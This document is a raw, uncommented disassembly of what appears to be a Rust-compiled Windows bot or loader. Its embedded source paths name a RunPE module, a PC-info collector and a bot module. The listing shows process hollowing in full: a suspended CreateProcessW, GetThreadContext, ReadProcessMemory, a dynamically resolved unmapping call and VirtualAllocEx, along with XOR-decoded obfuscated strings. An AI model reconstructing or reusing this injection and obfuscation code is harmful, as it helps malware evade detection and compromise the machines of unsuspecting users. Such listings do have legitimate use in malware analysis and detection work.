call fcn.1a7f1b8357b
test r14d, r14d
cmovne r13, rbp
mov qword [r15], r13
je 0x1a7f1b5ea56
lea rcx, [rsp + 0x2b0]
call fcn.1a7f1b42571
mov rcx, rsi
call fcn.1a7f1bf6a7f
mov rcx, 0xffffffff80000001
call fcn.1a7f1bf6a7f
mov rcx, qword [rsp + 0x160]
mov rdx, qword [rsp + 0x168]
jmp 0x1a7f1b60687
lea rbx, [rsp + 0x2b0]
lea rdx, [rsp + 0xa0]
mov rcx, rbx
call fcn.1a7f1b43cf8
lea r8, str.srccoreutilspe_execute_runpe.rs
lea r14, [rsp + 0x80]
mov rcx, r14
mov rdx, rbx
call fcn.1a7f1b43554
mov edx, 1
mov rcx, rdi
call fcn.1a7f1b8357b
mov rdi, qword [r14]
mov r8, qword [r14 + 0x10]
lea r15, [rsp + 0x248]
mov rcx, r15
mov rdx, rdi
call fcn.1a7f1bd69a6
mov rdx, qword [r14 + 8]
mov rcx, rdi
call fcn.1a7f1b8357b
mov rdi, qword [r15]
mov rax, qword [r15 + 0x10]
add rax, rdi
mov qword [rbx], rdi
mov qword [rbx + 8], rax
and word [rbx + 0x10], 0
lea rbx, [rsp + 0x210]
lea rdx, [rsp + 0x2b0]
mov rcx, rbx
call fcn.1a7f1b4330b
mov rbx, qword [rbx]
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x40], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0xc
and dword [rsp + 0x20], 0
mov rcx, rbx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_CreateProcessW]
test eax, eax
je 0x1a7f1b5f8e4
lea rcx, [rsp + 0x2b0]
and qword [rcx], 0
call fcn.1a7f1b42b57
lea r15, [rsp + 0x2b0]
mov r8d, 0x4d0
mov rcx, r15
xor edx, edx
call fcn.1a7f1c22810
mov dword [r15 + 0x30], 0x10000b
mov rcx, qword [rsp + 0xd8]
mov rdx, r15
call qword [sym.imp.kernel32.dll_GetThreadContext]
test eax, eax
je 0x1a7f1b5f949
lea rax, str.All_ok_n
lea rcx, [rsp + 0xa0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
call fcn.1a7f1bc81d0
jmp 0x1a7f1b5f9b3
mov ecx, eax
call fcn.1a7f1bf4ce2
mov rdi, rax
mov r14d, edx
test rbp, rbp
je 0x1a7f1b5ebfd
mov rax, qword [rbp]
mov rcx, rbp
call qword [rax + 0x10]
mov rbp, rdi
mov qword [rsp + 0x2b8], rbp
mov dword [rsp + 0x2c0], r14d
and qword [rsp + 0x2b0], 0
lea r8, [0x1a7f1c37080]
lea rsi, [rsp + 0xf0]
lea rdi, [rsp + 0x2b0]
mov rcx, rsi
mov rdx, rdi
call fcn.1a7f1b43684
and qword [rdi], 0
mov rcx, qword [rsi + 0x10]
mov rax, qword [rcx]
lea r8, [rsp + 0x2b0]
mov edx, 9
call qword [rax + 0x50]
test eax, eax
js 0x1a7f1b5ee70
mov rbx, qword [rsp + 0x2b0]
test rbx, rbx
je 0x1a7f1b5ee79
lea rsi, [rsp + 0x2b0]
and qword [rsi], 0
mov rax, qword [rbx]
lea rdx, [0x1a7f1c9d268]
mov rcx, rbx
mov r8, rsi
call qword [rax]
mov r14, qword [rsi]
test eax, eax
js 0x1a7f1b5f0f4
test r14, r14
je 0x1a7f1b5f91c
mov rdx, qword [rsp + 0xa0]
mov rax, qword [r14]
mov rdi, qword [rax + 0x48]
lea rsi, [rsp + 0x2b0]
mov qword [rsi], 1
mov qword [rsi + 8], rdx
mov ecx, 1
call fcn.1a7f1bf4537
mov rcx, r14
mov rdx, rax
call rdi
mov edi, eax
mov rcx, rsi
call fcn.1a7f1bf64b2
test edi, edi
js 0x1a7f1b5fdb2
mov rax, qword [r14]
mov rcx, r14
mov dx, 1
call qword [rax + 0x98]
test eax, eax
js 0x1a7f1b5fdf9
mov rdx, qword [rsp + 0xb0]
mov rax, qword [r14]
mov rdi, qword [rax + 0x68]
lea rsi, [rsp + 0x2b0]
mov qword [rsi], 1
mov qword [rsi + 8], rdx
mov ecx, 1
call fcn.1a7f1bf4537
mov rcx, r14
mov rdx, rax
call rdi
mov edi, eax
mov rcx, rsi
call fcn.1a7f1bf64b2
test edi, edi
js 0x1a7f1b5fe45
lea rdx, [rsp + 0x2b0]
and qword [rdx], 0
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x50]
test eax, eax
js 0x1a7f1b5fef7
mov r15, qword [rsp + 0x2b0]
test r15, r15
je 0x1a7f1b5ff0c
mov rdx, qword [rsp + 0xa8]
mov rax, qword [r15]
mov rdi, qword [rax + 0x40]
lea rsi, [rsp + 0x2b0]
mov qword [rsi], 1
mov qword [rsi + 8], rdx
mov ecx, 1
call fcn.1a7f1bf4537
mov rcx, r15
mov rdx, rax
call rdi
mov edi, eax
mov rcx, rsi
call fcn.1a7f1bf64b2
mov sil, 1
test edi, edi
js 0x1a7f1b60904
movzx edx, word [rsp + 0xc0]
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x60]
test eax, eax
js 0x1a7f1b6075d
mov rdx, qword [rsp + 0xb8]
mov rax, qword [r14]
mov rdi, qword [rax + 0xa8]
lea rsi, [rsp + 0x2b0]
mov qword [rsi], 1
mov qword [rsi + 8], rdx
mov ecx, 1
call fcn.1a7f1bf4537
mov rcx, r14
mov rdx, rax
call rdi
mov edi, eax
mov rcx, rsi
call fcn.1a7f1bf64b2
test edi, edi
js 0x1a7f1b60902
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x10]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
movdqu xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
movups xmm2, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x2b0], xmm0
movaps xmmword [rsp + 0x2c0], xmm1
movaps xmmword [rsp + 0x2d0], xmm2
jmp 0x1a7f1b5ff9a
mov ecx, eax
call fcn.1a7f1bf4ce2
jmp 0x1a7f1b5ee7d
xor eax, eax
xor edx, edx
mov qword [rsp + 0x2b8], rax
mov dword [rsp + 0x2c0], edx
and qword [rsp + 0x2b0], 0
mov sil, 1
mov bpl, 1
mov dil, 1
jmp 0x1a7f1b5ff4a
mov rax, rdi
shr rax, 8
shr rdi, 0x28
lea rdx, [rsp + 0x80]
mov word [rdx + 4], di
mov dword [rdx], eax
mov ecx, 1
lea rsi, [rsp + 0xa0]
mov qword [rsi], rcx
pxor xmm0, xmm0
movdqu xmmword [rsi + 8], xmm0
mov r8, rdx
or r8, rcx
mov eax, 2
lea r9, [rsp + 0x83]
lea r10, [rsp + 0x84]
lea r11, [rsp + 0x85]
mov qword [rsp + 0xf0], rdx
or rdx, rax
lea rdi, [0x1a7f1b6ee90]
mov qword [rsp + 0xf8], rdi
mov qword [rsp + 0x100], r8
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rdi
mov qword [rsp + 0x120], r9
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], r10
mov qword [rsp + 0x138], rdi
mov qword [rsp + 0x140], r11
mov qword [rsp + 0x148], rdi
mov qword [rsp + 0x2b0], rax
and qword [rsp + 0x2c0], 0
mov qword [rsp + 0x2c8], rax
and qword [rsp + 0x2d0], 0
movabs rdx, 0x800000020
mov qword [rsp + 0x2d8], rdx
xor r8d, r8d
mov byte [rsp + 0x2e0], r8b
mov qword [rsp + 0x2e8], rax
and qword [rsp + 0x2f8], 0
mov qword [rsp + 0x300], rax
mov qword [rsp + 0x308], rcx
mov qword [rsp + 0x310], rdx
mov byte [rsp + 0x318], r8b
mov qword [rsp + 0x320], rax
and qword [rsp + 0x330], 0
mov qword [rsp + 0x338], rax
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], rdx
mov byte [rsp + 0x350], r8b
mov qword [rsp + 0x358], rax
and qword [rsp + 0x368], 0
mov qword [rsp + 0x370], rax
mov qword [rsp + 0x378], 3
mov qword [rsp + 0x380], rdx
mov byte [rsp + 0x388], r8b
mov qword [rsp + 0x390], rax
and qword [rsp + 0x3a0], 0
mov qword [rsp + 0x3a8], rax
mov qword [rsp + 0x3b0], 4
mov qword [rsp + 0x3b8], rdx
mov byte [rsp + 0x3c0], r8b
mov qword [rsp + 0x3c8], rax
and qword [rsp + 0x3d8], 0
mov qword [rsp + 0x3e0], rax
mov qword [rsp + 0x3e8], 5
mov qword [rsp + 0x3f0], rdx
mov byte [rsp + 0x3f8], r8b
lea rax, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
lea r8, [rsp + 0x160]
mov qword [r8], rax
mov eax, 6
mov qword [r8 + 8], rax
mov qword [r8 + 0x20], r15
mov qword [r8 + 0x28], rax
mov qword [r8 + 0x10], rbx
mov qword [r8 + 0x18], rax
lea rdx, fcn.1a7f1b42960
mov rcx, rsi
call fcn.1a7f1b6d0f0
mov r15, qword [rsi]
mov rax, qword [rsi + 8]
mov qword [rsp + 0x268], rax
mov rsi, qword [rsi + 0x10]
jmp 0x1a7f1b5d56a
mov ecx, eax
call fcn.1a7f1bf4ce2
mov rdi, rax
mov ebp, edx
test r14, r14
je 0x1a7f1b5f920
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x10]
jmp 0x1a7f1b5f920
mov rcx, rsi
mov rdx, rdi
call fcn.1a7f1bf423a
mov eax, 2
mov rsi, rax
movabs r15, 0x8000000000000001
mov rcx, r15
mov rdx, rbx
call fcn.1a7f1b43d74
mov r8, r14
sub r8, 1
jb 0x1a7f1b61905
lea rdi, [rsp + 0x788]
mov rcx, rdi
mov rdx, rsi
call fcn.1a7f1b43c8d
and word [rsi], 0
add r14, r14
mov edx, 2
mov rcx, rsi
mov r8, r14
call fcn.1a7f1b446ce
mov r14d, 7
mov ecx, 7
mov edx, 1
call fcn.1a7f1b43c33
mov rsi, rax
mov dword [rax], 0x6fd7dcae
mov word [rax + 4], 0x62ac
mov byte [rax + 6], 0x82
mov ecx, 7
mov edx, 1
call fcn.1a7f1b43c33
mov rbx, rax
mov dword [rax], 0x1bcb2fb
mov word [rax + 4], 0x15c3
mov byte [rax + 6], 0xec
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], r14
mov qword [rsp + 0x100], r14
xor r15d, r15d
lea r14, str.srccorepc_infopc_info.rs
cmp r15, 7
je 0x1a7f1b5f21d
lea r12, [r15 + 1]
mov edx, 7
mov rcx, rsi
mov r8, r15
mov r9, r14
call fcn.1a7f1b476cc
mov r13b, byte [rax]
mov edx, 7
mov rcx, rbx
mov r8, r15
mov r9, r14
call fcn.1a7f1b476cc
xor byte [rax], r13b
mov r15, r12
jmp 0x1a7f1b5f1e2
lea rbx, [rsp + 0x2b0]
lea r15, [rsp + 0xf0]
mov rcx, rbx
mov rdx, r15
call fcn.1a7f1b43cf8
lea r8, str.srccorepc_infopc_info.rs
lea r14, [rsp + 0x1f0]
mov rcx, r14
mov rdx, rbx
call fcn.1a7f1b43554
mov edx, 7
mov rcx, rsi
call fcn.1a7f1b8357b
mov rsi, qword [r14]
mov rax, qword [r14 + 0x10]
lea rcx, [rsp + 0x858]
mov qword [rcx], rsi
mov qword [rcx + 8], rax
lea rax, [rsp + 0x850]
mov qword [rax], rdi
mov qword [r15], rcx
lea rcx, [0x1a7f1b68830]
mov qword [r15 + 8], rcx
mov qword [r15 + 0x10], rax
lea rax, [0x1a7f1c36c18]
mov qword [rbx], rax
mov eax, 2
mov qword [rbx + 8], rax
and qword [rbx + 0x20], 0
lea rcx, [0x1a7f1b9c067]
mov qword [r15 + 0x18], rcx
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], rax
lea rdi, [rsp + 0x230]
lea rdx, [rsp + 0x2b0]
mov rcx, rdi
call fcn.1a7f1b438e7
mov rdx, qword [r14 + 8]
mov rcx, rsi
call fcn.1a7f1b8357b
mov ecx, 1
xor edx, edx
call fcn.1a7f1b8357b
mov rsi, qword [rdi]
mov r14, qword [rdi + 8]
mov rdi, qword [rdi + 0x10]
mov rcx, qword [rsp + 0x788]
mov rdx, qword [rsp + 0x790]
call fcn.1a7f1b8357b
mov rcx, rdi
call fcn.1a7f1bf6427
mov rbx, rax
mov r15, rdx
mov rcx, rax
mov rdx, rsi
mov r8, rdi
call fcn.1a7f1c22170
lea r13, [rsp + 0x2b0]
mov byte [r13], 3
mov qword [r13 + 8], rbx
mov qword [r13 + 0x10], r15
mov qword [r13 + 0x18], rdi
lea r8, str.srccorepc_infopc_info.rs
lea rbx, [rsp + 0xf0]
mov rcx, rbx
mov rdx, r13
call fcn.1a7f1b4350a
movups xmm0, xmmword [rsp + 0x280]
movups xmm1, xmmword [rsp + 0x290]
mov r8, qword [rsp + 0x7b0]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8], xmm0
movups xmm0, xmmword [rsp + 0xd0]
movups xmm1, xmmword [rsp + 0xe0]
movups xmmword [r8 + 0x30], xmm1
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rsp + 0x248]
movups xmm1, xmmword [rsp + 0x258]
movups xmmword [r8 + 0x50], xmm1
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rsp + 0x210]
movups xmm1, xmmword [rsp + 0x220]
movups xmmword [r8 + 0x70], xmm1
movups xmmword [r8 + 0x60], xmm0
movups xmm0, xmmword [rsp + 0x1d0]
movups xmm1, xmmword [rsp + 0x1e0]
movups xmmword [r8 + 0x90], xmm1
movups xmmword [r8 + 0x80], xmm0
lea rdi, [rsp + 0x1b0]
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [r8 + 0xa0], xmm0
movups xmmword [r8 + 0xb0], xmm1
movups xmm0, xmmword [rsp + 0x80]
movups xmm1, xmmword [rsp + 0x90]
movups xmmword [r8 + 0xc0], xmm0
movups xmmword [r8 + 0xd0], xmm1
movups xmm0, xmmword [rsp + 0xa0]
movups xmm1, xmmword [rsp + 0xb0]
movups xmmword [r8 + 0xf0], xmm1
movups xmmword [r8 + 0xe0], xmm0
mov al, 4
mov byte [r8 + 0x100], al
mov ecx, dword [rsp + 0x1f0]
mov edx, dword [rsp + 0x1f3]
mov dword [r8 + 0x104], edx
mov dword [r8 + 0x101], ecx
mov rcx, qword [rsp + 0x68]
mov qword [r8 + 0x108], rcx
mov ecx, 2
mov qword [r8 + 0x110], rcx
mov qword [r8 + 0x118], rcx
mov byte [r8 + 0x120], al
mov ecx, dword [r13]
mov edx, dword [r13 + 3]
mov dword [r8 + 0x121], ecx
mov dword [r8 + 0x124], edx
mov rcx, qword [rsp + 0x60]
mov qword [r8 + 0x128], rcx
mov qword [r8 + 0x130], rbp
mov qword [r8 + 0x138], rbp
movups xmm0, xmmword [rsp + 0x160]
movups xmm1, xmmword [rsp + 0x170]
movups xmmword [r8 + 0x150], xmm1
movups xmmword [r8 + 0x140], xmm0
movdqu xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [r8 + 0x170], xmm1
movdqu xmmword [r8 + 0x160], xmm0
mov qword [r13 + 8], r8
mov ecx, 0xc
mov qword [r13 + 0x10], rcx
mov qword [r13 + 0x18], rcx
mov byte [r13], al
mov rcx, rsi
mov rdx, r14
call fcn.1a7f1b8357b
mov rcx, qword [rsp + 0x7f0]
mov rdx, qword [rsp + 0x7f8]
call fcn.1a7f1b8357b
mov rcx, qword [rsp + 0x838]
mov rdx, qword [rsp + 0x840]
call fcn.1a7f1b8357b
mov rcx, qword [rsp + 0x7a0]
mov rdx, qword [rsp + 0x268]
call fcn.1a7f1b8357b
mov rcx, qword [rsp + 0x7a8]
mov rdx, qword [rsp + 0x1a8]
call fcn.1a7f1b8357b
mov rcx, qword [rsp + 0x808]
mov rdx, qword [rsp + 0x810]
call fcn.1a7f1b8357b
mov rcx, qword [rsp + 0x820]
mov rdx, qword [rsp + 0x828]
call fcn.1a7f1b8357b
lea rsi, [rsp + 0x2b0]
mov rcx, rdi
mov rdx, rsi
call fcn.1a7f1b42405
mov rcx, rsi
call fcn.1a7f1b4282d
mov rax, qword [rsp + 0x7b8]
test rax, rax
je 0x1a7f1b5f5d7
imul r8, rax, 0x18
mov edx, 8
mov rcx, qword [rsp + 0x78]
call fcn.1a7f1b446ce
mov rsi, qword [rsp + 0x1b0]
mov rdi, qword [rsp + 0x1c0]
mov rcx, rdi
call fcn.1a7f1bf6427
mov rbx, rax
mov r15, rdx
mov rcx, rax
mov rdx, rsi
mov r8, rdi
call fcn.1a7f1c22170
mov r12, qword [rsp + 0x70]
mov r9, qword [r12 + 0x18]
mov rax, qword [r12 + 0x28]
mov qword [rsp + 0x20], rax
lea rsi, [rsp + 0x2b0]
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.1a7f1b4d206
lea r8, str.srccore_botmod.rs
lea r14, [rsp + 0x80]
mov rcx, r14
mov rdx, rsi
call fcn.1a7f1b43458
mov rcx, rbx
mov rdx, r15
call fcn.1a7f1b8357b
lea rax, [rsp + 0x7d8]
mov qword [rsp + 0x210], rax
lea rax, [rsp + 0x7c0]
mov qword [rsp + 0x1d0], rax
add r12, 0x30
mov qword [rsp + 0x160], r12
lea rax, [rsp + 0x210]
mov qword [rsi], rax
lea rax, [0x1a7f1b9c067]
mov qword [rsi + 8], rax
lea rcx, [rsp + 0x1d0]
mov qword [rsi + 0x10], rcx
mov qword [rsi + 0x18], rax
lea rcx, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
lea r15, [rsp + 0xf0]
mov qword [r15], rcx
mov ecx, 3
mov qword [r15 + 8], rcx
and qword [r15 + 0x20], 0
lea rdx, [rsp + 0x160]
mov qword [rsi + 0x20], rdx
mov qword [rsi + 0x28], rax
mov qword [r15 + 0x10], rsi
mov qword [r15 + 0x18], rcx
lea rsi, [rsp + 0xa0]
mov rcx, rsi
mov rdx, r15
call fcn.1a7f1b438e7
mov rdi, qword [rsi]
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x60], rax
mov rsi, qword [r14]
mov rax, qword [r14 + 0x10]
mov qword [rsp + 0x68], rax
mov r13d, 0xd
mov ecx, 0xd
mov edx, 1
call fcn.1a7f1b43c33
mov r14, rax
movabs rax, 0x3b6e0d3b9e7f4e00
mov qword [r14], rax
mov dword [r14 + 8], 0x498a1c96
mov byte [r14 + 0xc], 0x57
mov ecx, 0xd
mov edx, 1
call fcn.1a7f1b43c33
mov r12, rax
movabs rax, 0x4f0f6e52f20f3e61
mov qword [r12], rax
mov dword [r12 + 8], 0x66e473ff
mov byte [r12 + 0xc], 0x7d
mov qword [r15], r12
mov qword [r15 + 8], r13
mov qword [r15 + 0x10], r13
xor r13d, r13d
lea r15, str.srccore_botmod.rs
cmp r13, 0xd
je 0x1a7f1b5f7b8
lea rbx, [r13 + 1]
mov edx, 0xd
mov rcx, r14
mov r8, r13
mov r9, r15
call fcn.1a7f1b476cc
mov bpl, byte [rax]
mov edx, 0xd
mov rcx, r12
mov r8, r13
mov r9, r15
call fcn.1a7f1b476cc
xor byte [rax], bpl
mov r13, rbx
jmp 0x1a7f1b5f77d
lea r15, [rsp + 0x2b0]
lea rdx, [rsp + 0xf0]
mov rcx, r15
call fcn.1a7f1b43cf8
lea r8, str.srccore_botmod.rs
lea r12, [rsp + 0x160]
mov rcx, r12
mov rdx, r15
call fcn.1a7f1b43554
mov edx, 0xd
mov rcx, r14
call fcn.1a7f1b8357b
mov r14, qword [r12]
mov rax, qword [r12 + 0x10]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
lea r15, [rsp + 0x2b0]
mov rcx, r15
mov rdx, rdi
mov r8, qword [rsp + 0x60]
mov r9, rsi
call fcn.1a7f1b49198
mov rdx, qword [r12 + 8]
mov rcx, r14
call fcn.1a7f1b8357b
mov rcx, r15
call fcn.1a7f1b424e7
mov rdx, qword [rsp + 0xa8]
mov rcx, rdi
call fcn.1a7f1b8357b
mov rdx, qword [rsp + 0x88]
mov rcx, rsi
call fcn.1a7f1b8357b
mov rcx, qword [rsp + 0x1b0]
mov rdx, qword [rsp + 0x1b8]
call fcn.1a7f1b8357b
mov rcx, qword [rsp + 0x7d8]
mov rdx, qword [rsp + 0x7e0]
call fcn.1a7f1b8357b
mov rcx, qword [rsp + 0x7c0]
mov rdx, qword [rsp + 0x7c8]
jmp 0x1a7f1b60687
mov byte [rsp + 0xf0], 1
lea r8, [rsp + 0x2b0]
lea rax, [rsp + 0xf0]
mov qword [r8], rax
lea rax, [0x1a7f1c43dd8]
mov qword [rsp + 0x20], rax
lea rcx, [0x1a7f1cdeb38]
lea r9, [0x1a7f1c43d48]
xor edx, edx
call fcn.1a7f1c31d90
jmp 0x1a7f1b5b6fa
call fcn.1a7f1bf5a65
lea rcx, [rsp + 0x2b0]
and qword [rcx + 8], 0
mov dword [rcx + 0x10], eax
mov qword [rcx], 1
call fcn.1a7f1b42b57
jmp 0x1a7f1b5feb6
mov r14d, eax
mov rax, qword [rbp]
mov rcx, rbp
call qword [rax + 0x10]
jmp 0x1a7f1b5e860
xor edi, edi
xor ebp, ebp
mov qword [rsp + 0x2b8], rdi
mov dword [rsp + 0x2c0], ebp
and qword [rsp + 0x2b0], 0
mov dil, 1
xor r14d, r14d
mov bpl, 1
mov sil, 1
jmp 0x1a7f1b5ff3c
call fcn.1a7f1bf5a65
lea r15, [rsp + 0x1b0]
and qword [r15], 0
mov dword [r15 + 8], eax
mov qword [rsp + 0x80], r15
lea rax, str.Error:
lea rcx, [rsp + 0xa0]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [0x1a7f1bf528b]
mov qword [rsp + 0x88], rax
mov qword [rcx + 0x10], r14
mov qword [rcx + 0x18], 1
call fcn.1a7f1bc81d0
mov rcx, qword [r15]
test rcx, rcx
je 0x1a7f1b5f9b3
mov rax, qword [rcx]
call qword [rax + 0x10]
lea r8, [rsp + 0x1f0]
and qword [r8], 0
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0x338]
add rdx, 0x10
and qword [rsp + 0x20], 0
mov r9d, 8
call qword [sym.imp.kernel32.dll_ReadProcessMemory]
test eax, eax
je 0x1a7f1b5fd6c
mov qword [rsp + 0x60], r12
lea rcx, [rsp + 0xa0]
and qword [rcx], 0
call fcn.1a7f1b42b57
mov r14d, 0xa
mov ecx, 0xa
mov edx, 1
call fcn.1a7f1b43c33
mov rdi, rax
movabs rax, 0xbc0358fb3786cde
mov qword [rdi], rax
mov word [rdi + 8], 0xcb7d
mov ecx, 0xa
mov edx, 1
call fcn.1a7f1b43c33
mov rbx, rax
movabs rax, 0x67a41be3df1c18b0
mov qword [rbx], rax
mov word [rbx + 8], 0xcb11
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x88], r14
mov qword [rsp + 0x90], r14
xor r15d, r15d
lea r14, str.srccoreutilspe_execute_runpe.rs
cmp r15, 0xa
je 0x1a7f1b5fab0
lea r12, [r15 + 1]
mov edx, 0xa
mov rcx, rdi
mov r8, r15
mov r9, r14
call fcn.1a7f1b476cc
mov bpl, byte [rax]
mov edx, 0xa
mov rcx, rbx
mov r8, r15
mov r9, r14
call fcn.1a7f1b476cc
xor byte [rax], bpl
mov r15, r12
jmp 0x1a7f1b5fa75
lea r14, [rsp + 0xa0]
lea rdx, [rsp + 0x80]
mov rcx, r14
call fcn.1a7f1b43cf8
lea r8, str.srccoreutilspe_execute_runpe.rs
lea r15, [rsp + 0x1b0]
mov rcx, r15
mov rdx, r14
call fcn.1a7f1b43554
mov edx, 0xa
mov rcx, rdi
call fcn.1a7f1b8357b
mov r12, qword [r15]
mov r13, qword [r15 + 0x10]
mov rcx, r13
call fcn.1a7f1bf6427
mov rbp, rax
mov rbx, rdx
mov rcx, rax
mov rdx, r12
mov r8, r13
call fcn.1a7f1c22170
mov rcx, qword [r15]
mov rdx, qword [r15 + 8]
call fcn.1a7f1b8357b
add r13, rbp
mov qword [r14], rbp
mov qword [r14 + 8], r13
and word [r14 + 0x10], 0
lea r14, [rsp + 0x1d0]
lea rdx, [rsp + 0xa0]
mov rcx, r14
call fcn.1a7f1b4330b
mov r14, qword [r14]
mov rcx, r14
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x1a7f1b5fdbb
mov r13, rax
mov qword [rsp + 0x70], rbp
mov qword [rsp + 0x68], rbx
mov r12d, 0x15
mov ecx, 0x15
mov edx, 1
call fcn.1a7f1b43c33
mov r14, rax
movaps xmm0, xmmword [0x1a7f1c35160]
movups xmmword [rax], xmm0
mov dword [rax + 0x10], 0x36b7adf6
mov bpl, 0x2b
mov byte [rax + 0x14], bpl
mov ecx, 0x15
mov edx, 1
call fcn.1a7f1b43c33
mov r15, rax
movdqa xmm0, xmmword [0x1a7f1c35170]
movdqu xmmword [rax], xmm0
mov dword [rax + 0x10], 0x58d8c482
mov byte [rax + 0x14], bpl
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], r12
mov qword [rsp + 0x90], r12
xor ebp, ebp
lea r12, str.srccoreutilspe_execute_runpe.rs
cmp rbp, 0x15
je 0x1a7f1b5fc1b
lea rdi, [rbp + 1]
mov edx, 0x15
mov rcx, r14
mov r8, rbp
mov r9, r12
call fcn.1a7f1b476cc
mov bl, byte [rax]
mov edx, 0x15
mov rcx, r15
mov r8, rbp
mov r9, r12
call fcn.1a7f1b476cc
xor byte [rax], bl
mov rbp, rdi
jmp 0x1a7f1b5fbe2
lea r15, [rsp + 0xa0]
lea rdx, [rsp + 0x80]
mov rcx, r15
call fcn.1a7f1b43cf8
lea r8, str.srccoreutilspe_execute_runpe.rs
lea rbp, [rsp + 0x1b0]
mov rcx, rbp
mov rdx, r15
call fcn.1a7f1b43554
mov edx, 0x15
mov rcx, r14
call fcn.1a7f1b8357b
mov r12, qword [rbp]
mov r14, qword [rbp + 0x10]
mov rcx, r14
call fcn.1a7f1bf6427
mov r15, rax
mov rdi, rdx
mov rcx, rax
mov rdx, r12
mov r8, r14
call fcn.1a7f1c22170
mov rcx, qword [rbp]
mov rdx, qword [rbp + 8]
call fcn.1a7f1b8357b
mov rcx, r13
mov rdx, r15
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x1a7f1b5fe18
mov r8, qword [rsp + 0x1f0]
mov rbx, qword [rsp + 0x60]
mov rdx, qword [rsi + rbx + 0x30]
cmp r8, rdx
mov rbp, qword [rsp + 0x70]
jne 0x1a7f1b5fcd6
mov rcx, qword [rsp + 0xd0]
mov rdx, r8
call rax
test eax, eax
jne 0x1a7f1b5fe5e
mov rdx, qword [rsi + rbx + 0x30]
mov rcx, qword [rsp + 0xd0]
mov r8d, dword [rsi + rbx + 0x50]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
mov qword [rsp + 0x1f0], rax
test rax, rax
je 0x1a7f1b5fe5e
mov qword [rsp + 0x78], rdi
mov rdx, qword [rsp + 0xd0]
mov ecx, dword [rsi + rbx + 0x54]
mov qword [rsp + 0x20], rcx
lea r14, [rsp + 0xa0]
mov rcx, r14
mov r8, rax
mov r9, rsi
call fcn.1a7f1b47530
mov rdi, qword [r14]
mov rcx, r14
call fcn.1a7f1b42b57
test rdi, rdi
je 0x1a7f1b606b8
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
call fcn.1a7f1b4dcec
mov rbx, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x78]
jmp 0x1a7f1b5fe78
call fcn.1a7f1bf5a65
lea rcx, [rsp + 0xa0]
and qword [rcx + 8], 0
mov dword [rcx + 0x10], eax
mov qword [rcx], 1
call fcn.1a7f1b42b57
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
call fcn.1a7f1b4dcec
jmp 0x1a7f1b5feb6
mov ecx, eax
call fcn.1a7f1bf4ce2
mov edi, edx
jmp 0x1a7f1b5fddc
mov dword [rsp + 0x2c0], edi
jmp 0x1a7f1b5fe00
call fcn.1a7f1bf5a65
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
call fcn.1a7f1b4dcec
jmp 0x1a7f1b5fe8b
xor eax, eax
mov qword [rsp + 0x2b8], rax
mov dword [rsp + 0x2c0], edi
and qword [rsp + 0x2b0], 0
jmp 0x1a7f1b60a55
mov dword [rsp + 0x2c0], eax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x2b0], xmm0
mov dil, 1
mov bpl, 1
jmp 0x1a7f1b5ff2d
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
call fcn.1a7f1b4dcec
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
jmp 0x1a7f1b5fe78
mov ecx, eax
call fcn.1a7f1bf4ce2
jmp 0x1a7f1b5feda
mov dword [rsp + 0x2c0], edi
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x2b0], xmm0
jmp 0x1a7f1b5ff28
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
call fcn.1a7f1b4dcec
mov rbx, qword [rsp + 0x68]
mov rcx, r15
mov rdx, rdi
call fcn.1a7f1b8357b
